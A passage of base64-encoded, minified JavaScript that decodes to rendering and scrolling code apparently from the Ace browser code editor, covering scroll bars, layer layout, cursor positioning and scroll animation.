i5zZXRTY3JvbGxIZWlnaHQoZSt0aGlzLnNjcm9sbE1hcmdpbi52KSx0aGlzLnNjcm9sbEJhclYuc2V0U2Nyb2xsVG9wKHRoaXMuc2Nyb2xsVG9wK3RoaXMuc2Nyb2xsTWFyZ2luLnRvcCl9LHRoaXMuJHVwZGF0ZVNjcm9sbEJhckg9ZnVuY3Rpb24oKXt0aGlzLnNjcm9sbEJhckguc2V0U2Nyb2xsV2lkdGgodGhpcy5sYXllckNvbmZpZy53aWR0aCsyKnRoaXMuJHBhZGRpbmcrdGhpcy5zY3JvbGxNYXJnaW4uaCksdGhpcy5zY3JvbGxCYXJILnNldFNjcm9sbExlZnQodGhpcy5zY3JvbGxMZWZ0K3RoaXMuc2Nyb2xsTWFyZ2luLmxlZnQpfSx0aGlzLiRmcm96ZW49ITEsdGhpcy5mcmVlemU9ZnVuY3Rpb24oKXt0aGlzLiRmcm96ZW49ITB9LHRoaXMudW5mcmVlemU9ZnVuY3Rpb24oKXt0aGlzLiRmcm96ZW49ITF9LHRoaXMuJHJlbmRlckNoYW5nZXM9ZnVuY3Rpb24oZSx0KXt0aGlzLiRjaGFuZ2VzJiYoZXw9dGhpcy4kY2hhbmdlcyx0aGlzLiRjaGFuZ2VzPTApO2lmKCF0aGlzLnNlc3Npb258fCF0aGlzLmNvbnRhaW5lci5vZmZzZXRXaWR0aHx8dGhpcy4kZnJvemVufHwhZSYmIXQpe3RoaXMuJGNoYW5nZXN8PWU7cmV0dXJufWlmKHRoaXMuJHNpemUuJGRpcnR5KXJldHVybiB0aGlzLiRjaGFuZ2VzfD1lLHRoaXMub25SZXNpemUoITApO3RoaXMubGluZUhlaWdodHx8dGhpcy4kdGV4dExheWVyLmNoZWNrRm9yU2l6ZUNoYW5nZXMoKSx0aGlzLl9zaWduYWwoImJlZm9yZVJlbmRlciIsZSksdGhpcy5zZXNzaW9uJiZ0aGlzLnNlc3Npb24uJGJpZGlIYW5kbGVyJiZ0aGlzLnNlc3Npb24uJGJpZGlIYW5kbGVyLnVwZGF0ZUNoYXJhY3RlcldpZHRocyh0aGlzLiRmb250TWV0cmljcyk7dmFyIG49dGhpcy5sYXllckNvbmZpZztpZihlJnRoaXMuQ0hBTkdFX0ZVTEx8fGUmdGhpcy5DSEFOR0VfU0laRXx8ZSZ0aGlzLkNIQU5HRV9URVhUfHxlJnRoaXMuQ0hBTkdFX0xJTkVTfHxlJnRoaXMuQ0hBTkdFX1NDUk9MTHx8ZSZ0aGlzLkNIQU5HRV9IX1NDUk9MTCl7ZXw9dGhpcy4kY29tcHV0ZUxheWVyQ29uZmlnKCl8dGhpcy4kbG9vcC5jbGVhcigpO2lmKG4uZmlyc3RSb3chPXRoaXMubGF5ZXJDb25maWcuZmlyc3RSb3cmJm4uZmlyc3RSb3dTY3JlZW49PXRoaXMubGF5ZXJDb25maWcuZmlyc3RSb3dTY3JlZW4pe3ZhciByPXRoaXMuc2Nyb2xsVG9wKyhuLmZpcnN0Um93LXRoaXMubGF5ZXJDb25maWcuZmlyc3RSb3cpKnRoaXMubGluZUhlaWdodDtyPjAmJih0aGlzLnNjcm9sbFRvcD1yLGV8PXRoaXMuQ0hBTkdFX1NDUk9MTCxlfD10aGlzLiRjb21wdXRlTGF5ZXJDb25maWcoKXx0aGlzLiRsb29wLmNsZWFyKCkpfW49dGhpcy5sYXllckNvbmZpZyx0aGlzLiR1cGRhdGVTY3JvbGxCYXJWKCksZSZ0aGlzLkNIQU5HRV9IX1NDUk9MTCYmdGhpcy4kdXBkYXRlU2Nyb2xsQmFySCgpLGkudHJhbnNsYXRlKHRoaXMuY29udGVudCwtdGhpcy5zY3JvbGxMZWZ0LC1uLm9mZnNldCk7dmFyIHM9bi53aWR0aCsyKnRoaXMuJHBhZGRpbmcrInB4IixvPW4ubWluSGVpZ2h0KyJweCI7aS5zZXRTdHlsZSh0aGlzLmNvbnRlbnQuc3R5bGUsIndpZHRoIixzKSxpLnNldFN0eWxlKHRoaXMuY29udGVudC5zdHlsZSwiaGVpZ2h0IixvKX1lJnRoaXMuQ0hBTkdFX0hfU0NST0xMJiYoaS50cmFuc2xhdGUodGhpcy5jb250ZW50LC10aGlzLnNjcm9sbExlZnQsLW4ub2Zmc2V0KSx0aGlzLnNjcm9sbGVyLmNsYXNzTmFtZT10aGlzLnNjcm9sbExlZnQ8PTA/ImFjZV9zY3JvbGxlciI6ImFjZV9zY3JvbGxlciBhY2Vfc2Nyb2xsLWxlZnQiKTtpZihlJnRoaXMuQ0hBTkdFX0ZVTEwpe3RoaXMuJGNoYW5nZWRMaW5lcz1udWxsLHRoaXMuJHRleHRMYXllci51cGRhdGUobiksdGhpcy4kc2hvd0d1dHRlciYmdGhpcy4kZ3V0dGVyTGF5ZXIudXBkYXRlKG4pLHRoaXMuJGN1c3RvbVNjcm9sbGJhciYmdGhpcy4kc2Nyb2xsRGVjb3JhdG9yLiR1cGRhdGVEZWNvcmF0b3JzKG4pLHRoaXMuJG1hcmtlckJhY2sudXBkYXRlKG4pLHRoaXMuJG1hcmtlckZyb250LnVwZGF0ZShuKSx0aGlzLiRjdXJzb3JMYXllci51cGRhdGUobiksdGhpcy4kbW92ZVRleHRBcmVhVG9DdXJzb3IoKSx0aGlzLl9zaWduYWwoImFmdGVyUmVuZGVyIixlKTtyZXR1cm59aWYoZSZ0aGlzLkNIQU5HRV9TQ1JPTEwpe3RoaXMuJGNoYW5nZWRMaW5lcz1udWxsLGUmdGhpcy5DSEFOR0VfVEVYVHx8ZSZ0aGlzLkNIQU5HRV9MSU5FUz90aGlzLiR0ZXh0TGF5ZXIudXBkYXRlKG4pOnRoaXMuJHRleHRMYXllci5zY3JvbGxMaW5lcyhuKSx0aGlzLiRzaG93R3V0dGVyJiYoZSZ0aGlzLkNIQU5HRV9HVVRURVJ8fGUmdGhpcy5DSEFOR0VfTElORVM/dGhpcy4kZ3V0dGVyTGF5ZXIudXBkYXRlKG4pOnRoaXMuJGd1dHRlckxheWVyLnNjcm9sbExpbmVzKG4pKSx0aGlzLiRjdXN0b21TY3JvbGxiYXImJnRoaXMuJHNjcm9sbERlY29yYXRvci4kdXBkYXRlRGVjb3JhdG9ycyhuKSx0aGlzLiRtYXJrZXJCYWNrLnVwZGF0ZShuKSx0aGlzLiRtYXJrZXJGcm9udC51cGRhdGUobiksdGhpcy4kY3Vyc29yTGF5ZXIudXBkYXRlKG4pLHRoaXMuJG1vdmVUZXh0QXJlYVRvQ3Vyc29yKCksdGhpcy5fc2lnbmFsKCJhZnRlclJlbmRlciIsZSk7cmV0dXJufWUmdGhpcy5DSEFOR0VfVEVYVD8odGhpcy4kY2hhbmdlZExpbmVzPW51bGwsdGhpcy4kdGV4dExheWVyLnVwZGF0ZShuKSx0aGlzLiRzaG93R3V0dGVyJiZ0aGlzLiRndXR0ZXJMYXllci51cGRhdGUobiksdGhpcy4kY3VzdG9tU2Nyb2xsYmFyJiZ0aGlzLiRzY3JvbGxEZWNvcmF0b3IuJHVwZGF0ZURlY29yYXRvcnMobikpOmUmdGhpcy5DSEFOR0VfTElORVM/KCh0aGlzLiR1cGRhdGVMaW5lcygpfHxlJnRoaXMuQ0hBTkdFX0dVVFRFUiYmdGhpcy4kc2hvd0d1dHRlcikmJnRoaXMuJGd1dHRlckxheWVyLnVwZGF0ZShuKSx0aGlzLiRjdXN0b21TY3JvbGxiYXImJnRoaXMuJHNjcm9sbERlY29yYXRvci4kdXBkYXRlRGVjb3JhdG9ycyhuKSk6ZSZ0aGlzLkNIQU5HRV9URVhUfHxlJnRoaXMuQ0hBTkdFX0dVVFRFUj8odGhpcy4kc2hvd0d1dHRlciYmdGhpcy4kZ3V0dGVyTGF5ZXIudXBkYXRlKG4pLHRoaXMuJGN1c3RvbVNjcm9sbGJhciYmdGhpcy4kc2Nyb2xsRGVjb3JhdG9yLiR1cGRhdGVEZWNvcmF0b3JzKG4pKTplJnRoaXMuQ0hBTkdFX0NVUlNPUiYmKHRoaXMuJGhpZ2hsaWdodEd1dHRlckxpbmUmJnRoaXMuJGd1dHRlckxheWVyLnVwZGF0ZUxpbmVIaWdobGlnaHQobiksdGhpcy4kY3VzdG9tU2Nyb2xsYmFyJiZ0aGlzLiRzY3JvbGxEZWNvcmF0b3IuJHVwZGF0ZURlY29yYXRvcnMobikpLGUmdGhpcy5DSEFOR0VfQ1VSU09SJiYodGhpcy4kY3Vyc29yTGF5ZXIudXBkYXRlKG4pLHRoaXMuJG1vdmVUZXh0QXJlYVRvQ3Vyc29yKCkpLGUmKHRoaXMuQ0hBTkdFX01BUktFUnx0aGlzLkNIQU5HRV9NQVJLRVJfRlJPTlQpJiZ0aGlzLiRtYXJrZXJGcm9udC51cGRhdGUobiksZSYodGhpcy5DSEFOR0VfTUFSS0VSfHRoaXMuQ0hBTkdFX01BUktFUl9CQUNLKSYmdGhpcy4kbWFya2VyQmFjay51cGRhdGUobiksdGhpcy5fc2lnbmFsKCJhZnRlclJlbmRlciIsZSl9LHRoaXMuJGF1dG9zaXplPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5zZXNzaW9uLmdldFNjcmVlbkxlbmd0aCgpKnRoaXMubGluZUhlaWdodCx0PXRoaXMuJG1heExpbmVzKnRoaXMubGluZUhlaWdodCxuPU1hdGgubWluKHQsTWF0aC5tYXgoKHRoaXMuJG1pbkxpbmVzfHwxKSp0aGlzLmxpbmVIZWlnaHQsZSkpK3RoaXMuc2Nyb2xsTWFyZ2luLnYrKHRoaXMuJGV4dHJhSGVpZ2h0fHwwKTt0aGlzLiRob3JpelNjcm9sbCYmKG4rPXRoaXMuc2Nyb2xsQmFySC5nZXRIZWlnaHQoKSksdGhpcy4kbWF4UGl4ZWxIZWlnaHQmJm4+dGhpcy4kbWF4UGl4ZWxIZWlnaHQmJihuPXRoaXMuJG1heFBpeGVsSGVpZ2h0KTt2YXIgcj1uPD0yKnRoaXMubGluZUhlaWdodCxpPSFyJiZlPnQ7aWYobiE9dGhpcy5kZXNpcmVkSGVpZ2h0fHx0aGlzLiRzaXplLmhlaWdodCE9dGhpcy5kZXNpcmVkSGVpZ2h0fHxpIT10aGlzLiR2U2Nyb2xsKXtpIT10aGlzLiR2U2Nyb2xsJiYodGhpcy4kdlNjcm9sbD1pLHRoaXMuc2Nyb2xsQmFyVi5zZXRWaXNpYmxlKGkpKTt2YXIgcz10aGlzLmNvbnRhaW5lci5jbGllbnRXaWR0aDt0aGlzLmNvbnRhaW5lci5zdHlsZS5oZWlnaHQ9bisicHgiLHRoaXMuJHVwZGF0ZUNhY2hlZFNpemUoITAsdGhpcy4kZ3V0dGVyV2lkdGgscyxuKSx0aGlzLmRlc2lyZWRIZWlnaHQ9bix0aGlzLl9zaWduYWwoImF1dG9zaXplIil9fSx0aGlzLiRjb21wdXRlTGF5ZXJDb25maWc9ZnVuY3Rpb24oKXt2YXIgZT10aGlzLnNlc3Npb24sdD10aGlzLiRzaXplLG49dC5oZWlnaHQ8PTIqdGhpcy5saW5lSGVpZ2h0LHI9dGhpcy5zZXNzaW9uLmdldFNjcmVlbkxlbmd0aCgpLGk9cip0aGlzLmxpbmVIZWlnaHQscz10aGlzLiRnZXRMb25nZXN0TGluZSgpLG89IW4mJih0aGlzLiRoU2Nyb2xsQmFyQWx3YXlzVmlzaWJsZXx8dC5zY3JvbGxlcldpZHRoLXMtMip0aGlzLiRwYWRkaW5nPDApLHU9dGhpcy4kaG9yaXpTY3JvbGwhPT1vO3UmJih0aGlzLiRob3JpelNjcm9sbD1vLHRoaXMuc2Nyb2xsQmFySC5zZXRWaXNpYmxlKG8pKTt2YXIgYT10aGlzLiR2U2Nyb2xsO3RoaXMuJG1heExpbmVzJiZ0aGlzLmxpbmVIZWlnaHQ+MSYmdGhpcy4kYXV0b3NpemUoKTt2YXIgZj10LnNjcm9sbGVySGVpZ2h0K3RoaXMubGluZUhlaWdodCxsPSF0aGlzLiRtYXhMaW5lcyYmdGhpcy4kc2Nyb2xsUGFzdEVuZD8odC5zY3JvbGxlckhlaWdodC10aGlzLmxpbmVIZWlnaHQpKnRoaXMuJHNjcm9sbFBhc3RFbmQ6MDtpKz1sO3ZhciBjPXRoaXMuc2Nyb2xsTWFyZ2luO3RoaXMuc2Vzc2lvbi5zZXRTY3JvbGxUb3AoTWF0aC5tYXgoLWMudG9wLE1hdGgubWluKHRoaXMuc2Nyb2xsVG9wLGktdC5zY3JvbGxlckhlaWdodCtjLmJvdHRvbSkpKSx0aGlzLnNlc3Npb24uc2V0U2Nyb2xsTGVmdChNYXRoLm1heCgtYy5sZWZ0LE1hdGgubWluKHRoaXMuc2Nyb2xsTGVmdCxzKzIqdGhpcy4kcGFkZGluZy10LnNjcm9sbGVyV2lkdGgrYy5yaWdodCkpKTt2YXIgaD0hbiYmKHRoaXMuJHZTY3JvbGxCYXJBbHdheXNWaXNpYmxlfHx0LnNjcm9sbGVySGVpZ2h0LWkrbDwwfHx0aGlzLnNjcm9sbFRvcD5jLnRvcCkscD1hIT09aDtwJiYodGhpcy4kdlNjcm9sbD1oLHRoaXMuc2Nyb2xsQmFyVi5zZXRWaXNpYmxlKGgpKTt2YXIgZD10aGlzLnNjcm9sbFRvcCV0aGlzLmxpbmVIZWlnaHQsdj1NYXRoLmNlaWwoZi90aGlzLmxpbmVIZWlnaHQpLTEsbT1NYXRoLm1heCgwLE1hdGgucm91bmQoKHRoaXMuc2Nyb2xsVG9wLWQpL3RoaXMubGluZUhlaWdodCkpLGc9bSt2LHksYix3PXRoaXMubGluZUhlaWdodDttPWUuc2NyZWVuVG9Eb2N1bWVudFJvdyhtLDApO3ZhciBFPWUuZ2V0Rm9sZExpbmUobSk7RSYmKG09RS5zdGFydC5yb3cpLHk9ZS5kb2N1bWVudFRvU2NyZWVuUm93KG0sMCksYj1lLmdldFJvd0xlbmd0aChtKSp3LGc9TWF0aC5taW4oZS5zY3JlZW5Ub0RvY3VtZW50Um93KGcsMCksZS5nZXRMZW5ndGgoKS0xKSxmPXQuc2Nyb2xsZXJIZWlnaHQrZS5nZXRSb3dMZW5ndGgoZykqdytiLGQ9dGhpcy5zY3JvbGxUb3AteSp3O3ZhciBTPTA7aWYodGhpcy5sYXllckNvbmZpZy53aWR0aCE9c3x8dSlTPXRoaXMuQ0hBTkdFX0hfU0NST0xMO2lmKHV8fHApU3w9dGhpcy4kdXBkYXRlQ2FjaGVkU2l6ZSghMCx0aGlzLmd1dHRlcldpZHRoLHQud2lkdGgsdC5oZWlnaHQpLHRoaXMuX3NpZ25hbCgic2Nyb2xsYmFyVmlzaWJpbGl0eUNoYW5nZWQiKSxwJiYocz10aGlzLiRnZXRMb25nZXN0TGluZSgpKTtyZXR1cm4gdGhpcy5sYXllckNvbmZpZz17d2lkdGg6cyxwYWRkaW5nOnRoaXMuJHBhZGRpbmcsZmlyc3RSb3c6bSxmaXJzdFJvd1NjcmVlbjp5LGxhc3RSb3c6ZyxsaW5lSGVpZ2h0OncsY2hhcmFjdGVyV2lkdGg6dGhpcy5jaGFyYWN0ZXJXaWR0aCxtaW5IZWlnaHQ6ZixtYXhIZWlnaHQ6aSxvZmZzZXQ6ZCxndXR0ZXJPZmZzZXQ6dz9NYXRoLm1heCgwLE1hdGguY2VpbCgoZCt0LmhlaWdodC10LnNjcm9sbGVySGVpZ2h0KS93KSk6MCxoZWlnaHQ6dGhpcy4kc2l6ZS5zY3JvbGxlckhlaWdodH0sdGhpcy5zZXNzaW9uLiRiaWRpSGFuZGxlciYmdGhpcy5zZXNzaW9uLiRiaWRpSGFuZGxlci5zZXRDb250ZW50V2lkdGgocy10aGlzLiRwYWRkaW5nKSxTfSx0aGlzLiR1cGRhdGVMaW5lcz1mdW5jdGlvbigpe2lmKCF0aGlzLiRjaGFuZ2VkTGluZXMpcmV0dXJuO3ZhciBlPXRoaXMuJGNoYW5nZWRMaW5lcy5maXJzdFJvdyx0PXRoaXMuJGNoYW5nZWRMaW5lcy5sYXN0Um93O3RoaXMuJGNoYW5nZWRMaW5lcz1udWxsO3ZhciBuPXRoaXMubGF5ZXJDb25maWc7aWYoZT5uLmxhc3RSb3crMSlyZXR1cm47aWYodDxuLmZpcnN0Um93KXJldHVybjtpZih0PT09SW5maW5pdHkpe3RoaXMuJHNob3dHdXR0ZXImJnRoaXMuJGd1dHRlckxheWVyLnVwZGF0ZShuKSx0aGlzLiR0ZXh0TGF5ZXIudXBkYXRlKG4pO3JldHVybn1yZXR1cm4gdGhpcy4kdGV4dExheWVyLnVwZGF0ZUxpbmVzKG4sZSx0KSwhMH0sdGhpcy4kZ2V0TG9uZ2VzdExpbmU9ZnVuY3Rpb24oKXt2YXIgZT10aGlzLnNlc3Npb24uZ2V0U2NyZWVuV2lkdGgoKTtyZXR1cm4gdGhpcy5zaG93SW52aXNpYmxlcyYmIXRoaXMuc2Vzc2lvbi4kdXNlV3JhcE1vZGUmJihlKz0xKSx0aGlzLiR0ZXh0TGF5ZXImJmU+dGhpcy4kdGV4dExheWVyLk1BWF9MSU5FX0xFTkdUSCYmKGU9dGhpcy4kdGV4dExheWVyLk1BWF9MSU5FX0xFTkdUSCszMCksTWF0aC5tYXgodGhpcy4kc2l6ZS5zY3JvbGxlcldpZHRoLTIqdGhpcy4kcGFkZGluZyxNYXRoLnJvdW5kKGUqdGhpcy5jaGFyYWN0ZXJXaWR0aCkpfSx0aGlzLnVwZGF0ZUZyb250TWFya2Vycz1mdW5jdGlvbigpe3RoaXMuJG1hcmtlckZyb250LnNldE1hcmtlcnModGhpcy5zZXNzaW9uLmdldE1hcmtlcnMoITApKSx0aGlzLiRsb29wLnNjaGVkdWxlKHRoaXMuQ0hBTkdFX01BUktFUl9GUk9OVCl9LHRoaXMudXBkYXRlQmFja01hcmtlcnM9ZnVuY3Rpb24oKXt0aGlzLiRtYXJrZXJCYWNrLnNldE1hcmtlcnModGhpcy5zZXNzaW9uLmdldE1hcmtlcnMoKSksdGhpcy4kbG9vcC5zY2hlZHVsZSh0aGlzLkNIQU5HRV9NQVJLRVJfQkFDSyl9LHRoaXMuYWRkR3V0dGVyRGVjb3JhdGlvbj1mdW5jdGlvbihlLHQpe3RoaXMuJGd1dHRlckxheWVyLmFkZEd1dHRlckRlY29yYXRpb24oZSx0KX0sdGhpcy5yZW1vdmVHdXR0ZXJEZWNvcmF0aW9uPWZ1bmN0aW9uKGUsdCl7dGhpcy4kZ3V0dGVyTGF5ZXIucmVtb3ZlR3V0dGVyRGVjb3JhdGlvbihlLHQpfSx0aGlzLnVwZGF0ZUJyZWFrcG9pbnRzPWZ1bmN0aW9uKGUpe3RoaXMuJGxvb3Auc2NoZWR1bGUodGhpcy5DSEFOR0VfR1VUVEVSKX0sdGhpcy5zZXRBbm5vdGF0aW9ucz1mdW5jdGlvbihlKXt0aGlzLiRndXR0ZXJMYXllci5zZXRBbm5vdGF0aW9ucyhlKSx0aGlzLiRsb29wLnNjaGVkdWxlKHRoaXMuQ0hBTkdFX0dVVFRFUil9LHRoaXMudXBkYXRlQ3Vyc29yPWZ1bmN0aW9uKCl7dGhpcy4kbG9vcC5zY2hlZHVsZSh0aGlzLkNIQU5HRV9DVVJTT1IpfSx0aGlzLmhpZGVDdXJzb3I9ZnVuY3Rpb24oKXt0aGlzLiRjdXJzb3JMYXllci5oaWRlQ3Vyc29yKCl9LHRoaXMuc2hvd0N1cnNvcj1mdW5jdGlvbigpe3RoaXMuJGN1cnNvckxheWVyLnNob3dDdXJzb3IoKX0sdGhpcy5zY3JvbGxTZWxlY3Rpb25JbnRvVmlldz1mdW5jdGlvbihlLHQsbil7dGhpcy5zY3JvbGxDdXJzb3JJbnRvVmlldyhlLG4pLHRoaXMuc2Nyb2xsQ3Vyc29ySW50b1ZpZXcodCxuKX0sdGhpcy5zY3JvbGxDdXJzb3JJbnRvVmlldz1mdW5jdGlvbihlLHQsbil7aWYodGhpcy4kc2l6ZS5zY3JvbGxlckhlaWdodD09PTApcmV0dXJuO3ZhciByPXRoaXMuJGN1cnNvckxheWVyLmdldFBpeGVsUG9zaXRpb24oZSksaT1yLmxlZnQscz1yLnRvcCxvPW4mJm4udG9wfHwwLHU9biYmbi5ib3R0b218fDA7dGhpcy4kc2Nyb2xsQW5pbWF0aW9uJiYodGhpcy4kc3RvcEFuaW1hdGlvbj0hMCk7dmFyIGE9dGhpcy4kc2Nyb2xsQW5pbWF0aW9uP3RoaXMuc2Vzc2lvbi5nZXRTY3JvbGxUb3AoKTp0aGlzLnNjcm9sbFRvcDthK28+cz8odCYmYStvPnMrdGhpcy5saW5lSGVpZ2h0JiYocy09dCp0aGlzLiRzaXplLnNjcm9sbGVySGVpZ2h0KSxzPT09MCYmKHM9LXRoaXMuc2Nyb2xsTWFyZ2luLnRvcCksdGhpcy5zZXNzaW9uLnNldFNjcm9sbFRvcChzKSk6YSt0aGlzLiRzaXplLnNjcm9sbGVySGVpZ2h0LXU8cyt0aGlzLmxpbmVIZWlnaHQmJih0JiZhK3RoaXMuJHNpemUuc2Nyb2xsZXJIZWlnaHQtdTxzLXRoaXMubGluZUhlaWdodCYmKHMrPXQqdGhpcy4kc2l6ZS5zY3JvbGxlckhlaWdodCksdGhpcy5zZXNzaW9uLnNldFNjcm9sbFRvcChzK3RoaXMubGluZUhlaWdodCt1LXRoaXMuJHNpemUuc2Nyb2xsZXJIZWlnaHQpKTt2YXIgZj10aGlzLnNjcm9sbExlZnQ7Zj5pPyhpPHRoaXMuJHBhZGRpbmcrMip0aGlzLmxheWVyQ29uZmlnLmNoYXJhY3RlcldpZHRoJiYoaT0tdGhpcy5zY3JvbGxNYXJnaW4ubGVmdCksdGhpcy5zZXNzaW9uLnNldFNjcm9sbExlZnQoaSkpOmYrdGhpcy4kc2l6ZS5zY3JvbGxlcldpZHRoPGkrdGhpcy5jaGFyYWN0ZXJXaWR0aD90aGlzLnNlc3Npb24uc2V0U2Nyb2xsTGVmdChNYXRoLnJvdW5kKGkrdGhpcy5jaGFyYWN0ZXJXaWR0aC10aGlzLiRzaXplLnNjcm9sbGVyV2lkdGgpKTpmPD10aGlzLiRwYWRkaW5nJiZpLWY8dGhpcy5jaGFyYWN0ZXJXaWR0aCYmdGhpcy5zZXNzaW9uLnNldFNjcm9sbExlZnQoMCl9LHRoaXMuZ2V0U2Nyb2xsVG9wPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuc2Vzc2lvbi5nZXRTY3JvbGxUb3AoKX0sdGhpcy5nZXRTY3JvbGxMZWZ0PWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuc2Vzc2lvbi5nZXRTY3JvbGxMZWZ0KCl9LHRoaXMuZ2V0U2Nyb2xsVG9wUm93PWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuc2Nyb2xsVG9wL3RoaXMubGluZUhlaWdodH0sdGhpcy5nZXRTY3JvbGxCb3R0b21Sb3c9ZnVuY3Rpb24oKXtyZXR1cm4gTWF0aC5tYXgoMCxNYXRoLmZsb29yKCh0aGlzLnNjcm9sbFRvcCt0aGlzLiRzaXplLnNjcm9sbGVySGVpZ2h0KS90aGlzLmxpbmVIZWlnaHQpLTEpfSx0aGlzLnNjcm9sbFRvUm93PWZ1bmN0aW9uKGUpe3RoaXMuc2Vzc2lvbi5zZXRTY3JvbGxUb3AoZSp0aGlzLmxpbmVIZWlnaHQpfSx0aGlzLmFsaWduQ3Vyc29yPWZ1bmN0aW9uKGUsdCl7dHlwZW9mIGU9PSJudW1iZXIiJiYoZT17cm93OmUsY29sdW1uOjB9KTt2YXIgbj10aGlzLiRjdXJzb3JMYXllci5nZXRQaXhlbFBvc2l0aW9uKGUpLHI9dGhpcy4kc2l6ZS5zY3JvbGxlckhlaWdodC10aGlzLmxpbmVIZWlnaHQsaT1uLnRvcC1yKih0fHwwKTtyZXR1cm4gdGhpcy5zZXNzaW9uLnNldFNjcm9sbFRvcChpKSxpfSx0aGlzLlNURVBTPTgsdGhpcy4kY2FsY1N0ZXBzPWZ1bmN0aW9uKGUsdCl7dmFyIG49MCxyPXRoaXMuU1RFUFMsaT1bXSxzPWZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gbiooTWF0aC5wb3coZS0xLDMpKzEpK3R9O2ZvcihuPTA7bjxyOysrbilpLnB1c2gocyhuL3RoaXMuU1RFUFMsZSx0LWUpKTtyZXR1cm4gaX0sdGhpcy5zY3JvbGxUb0xpbmU9ZnVuY3Rpb24oZSx0LG4scil7dmFyIGk9dGhpcy4kY3Vyc29yTGF5ZXIuZ2V0UGl4ZWxQb3NpdGlvbih7cm93OmUsY29sdW1uOjB9KSxzPWkudG9wO3QmJihzLT10aGlzLiRzaXplLnNjcm9sbGVySGVpZ2h0LzIpO3ZhciBvPXRoaXMuc2Nyb2xsVG9wO3RoaXMuc2Vzc2lvbi5zZXRTY3JvbGxUb3AocyksbiE9PSExJiZ0aGlzLmFuaW1hdGVTY3JvbGxpbmcobyxyKX0sdGhpcy5hbmltYXRlU2Nyb2xsaW5nPWZ1bmN0aW9uKGUsdCl7ZnVuY3Rpb24gbygpe3IuJHRpbWVyPWNsZWFySW50ZXJ2YWwoci4kdGltZXIpLHIuJHNjcm9sbEFuaW1hdGlvbj1udWxsLHIuJHN0b3BBbmltYXRpb249ITEsdCYmdCgpfXZhciBuPXRoaXMuc2Nyb2xsVG9wO2lmKCF0aGlzLiRhbmltYXRlZFNjcm9sbClyZXR1cm47dmFyIHI9dGhpcztpZihlPT1uKXJldHVybjtpZih0aGlzLiRzY3JvbGxBbmltYXRpb24pe3ZhciBpPXRoaXMuJHNjcm9sbEFuaW1hdGlvbi5zdGVwcztpZihpLmxlbmd0aCl7ZT1pWzBdO2lmKGU9PW4pcmV0dXJufX12YXIgcz1yLiRjYWxjU3RlcHMoZSxuKTt0aGlzLiRzY3JvbGxBbmltYXRpb249e2Zyb206ZSx0bzpuLHN0ZXBzOnN9LGNsZWFySW50ZXJ2YWwodGhpcy4kdGltZXIpLHIuc2Vzc2lvbi5zZXRTY3JvbGxUb3Aocy5zaGlmdCgpKSxyLnNlc3Npb24uJHNjcm9sbFRvcD1uLHRoaXMuJHRpbWVyPXNldEludGVydmFsKGZ1bmN0aW9uKCl7aWYoci4kc3RvcEFuaW1hdGlvbil7bygpO3JldHVybn1pZighci5zZXNzaW9uKXJldHVybiBjbGVhckludGVydmFsKHIuJHRpbWVyKTtzLmxlbmd0aD8oci5zZXNzaW9uLnNldFNjcm9sbFRvcChzLnNoaWZ0KCkpLHIuc2Vzc2lvbi4kc2Nyb2xsVG9wPW4pOm4hPW51bGw/KHIuc2Vzc2lvbi4kc2Nyb2xsVG9wPS0xLHIuc2Vzc2lvbi5zZXRTY3JvbGxUb3Aobiksbj1udWxsKTpvKCl9LDEwKX0sdGhpcy5zY3JvbGxUb1k9ZnVuY3Rpb24oZSl7dGhpcy5zY3JvbGxUb3AhPT1lJiYodGhpcy4kbG9vcC5zY2hlZHVsZSh0aGlzLkNIQU5HRV9TQ1JPTEwpLHRoaXMuc2Nyb2xsVG9wPWUpfSx0aGlzLnNjcm9sbFRvWD1mdW5jdGlvbihlKXt0aGlzLnNjcm9sbExlZnQhPT1lJiYodGhpcy5zY3JvbGxMZWZ0PWUpLHRoaXMuJGxvb3Auc2NoZWR1bGUodGhpcy5DSEFOR0VfSF9TQ1JPTEwpfSx0aGlzLnNjcm9sbFRvPWZ1bmN0aW9uKGUsdCl7dGhpcy5zZXNzaW9uLnNldFNjcm9sbFRvcCh0KSx0aGlzLnNlc3Npb24uc2V0U2Nyb2xsTGVmdChlKX0sdGhpcy5zY3JvbGxCeT1mdW5jdGlvbihlLHQpe3QmJnRoaXMuc2Vzc2lvbi5zZXRTY3JvbGxUb3AodGhpcy5zZXNzaW9uLmdldFNjcm9sbFRvcCgpK3QpLGUmJnRoaXMuc2Vzc2lvbi5zZXRTY3JvbGxMZWZ0KHRoaXMuc2Vzc2lvbi5nZXRTY3JvbGxMZWZ0KCkrZSl9LHRoaXMuaXNTY3JvbGxhYmxlQnk9ZnVuY3Rpb24oZSx0KXtpZih0PDAmJnRoaXMuc2Vzc2lvbi5nZXRTY3JvbGxUb3AoKT49MS10aGlzLnNjcm9sbE1hcmdpbi50b3ApcmV0dXJuITA7aWYodD4wJiZ0aGlzLnNlc3Npb24uZ2V0U2Nyb2xsVG9wKCkrdGhpcy4kc2l6ZS5zY3JvbGxlckhlaWdodC10aGlzLmxheWVyQ29uZmlnLm1heEhlaWdodDwtMSt0aGlzLnNjcm9sbE1hcmdpbi5ib3R0b20pcmV0dXJuITA7aWYoZTwwJiZ0aGlzLnNlc3Npb24uZ2V0U2Nyb2xsTGVmdCgpPj0xLXRoaXMuc2Nyb2xsTWFyZ2luLmxlZnQpcmV0dXJuITA7aWYoZT4wJiZ0aGlzLnNlc3Npb24uZ2V0U2Nyb2xsTGVmdCgpK3RoaXMuJHNpemUuc2Nyb2xsZXJXaWR0aC10aGlzLmxheWVyQ29uZmlnLndpZHRoPC0xK3RoaXMuc2Nyb2xsTWFyZ2luLnJpZ2h0KXJldHVybiEwfSx0aGlzLnBpeGVsVG9TY3JlZW5Db29yZGluYXRlcz1mdW5jdGlvbihlLHQpe3ZhciBuO2lmKHRoaXMuJGhhc0Nzc1RyYW5zZm9ybXMpe249e3RvcDowLGxlZnQ6MH07dmFyIHI9dGhpcy4kZm9udE1ldHJpY3MudHJhbnNmb3JtQ29vcmRpbmF0ZXMoW2UsdF0pO2U9clsxXS10aGlzLmd1dHRlcldpZHRoLXRoaXMubWFyZ2luLmxlZnQsdD1yWzBdfWVsc2Ugbj10aGlzLnNjcm9sbGVyLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpO3ZhciBpPWUrdGhpcy5zY3JvbGxMZWZ0LW4ubGVmdC10aGlzLiRwYW